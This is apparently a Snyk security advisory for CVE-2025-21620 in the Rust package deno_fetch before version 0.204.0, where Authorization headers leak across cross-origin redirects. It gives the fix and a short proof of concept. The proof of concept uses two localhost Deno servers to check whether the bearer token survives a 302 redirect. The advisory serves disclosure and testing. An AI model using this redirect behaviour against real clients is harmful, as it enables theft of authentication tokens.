Information Exposure Affecting deno_fetch package, versions <0.204.0
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-RUST-DENOFETCH-8602524
- published7 Jan 2025
- disclosed6 Jan 2025
- creditUnknown
Introduced: 6 Jan 2025
CVE-2025-21620 (opens in a new tab)How to fix?
Upgrade deno_fetch to version 0.204.0 or higher.
Overview
Affected versions of this package are vulnerable to Information Exposure due to improper handling of HTTP headers during cross-origin redirects. An attacker can leak sensitive information such as authentication tokens by exploiting this behavior.
PoC
const ac = new AbortController()
const server1 = Deno.serve({ port: 3001, signal: ac.signal }, (req) => {
return new Response(null, {
status: 302,
headers: {
'location': 'http://localhost:3002/redirected'
},
})
})
const server2 = Deno.serve({ port: 3002, signal: ac.signal }, (req) => {
const body = JSON.stringify({
url: req.url,
hasAuth: req.headers.has('authorization'),
})
return new Response(body, {
status: 200,
headers: {'content-type': 'application/json'},
})
})
async function main() {
const response = await fetch("http://localhost:3001/", {
headers: {authorization: 'Bearer foo'}
})
const body = await response.json()
ac.abort()
if (body.hasAuth) {
console.error('ERROR: Authorization header should not be present after cross-origin redirect')
} else {
console.log('SUCCESS: Authorization header is not present after cross-origin redirect')
}
}
setTimeout(main, 500)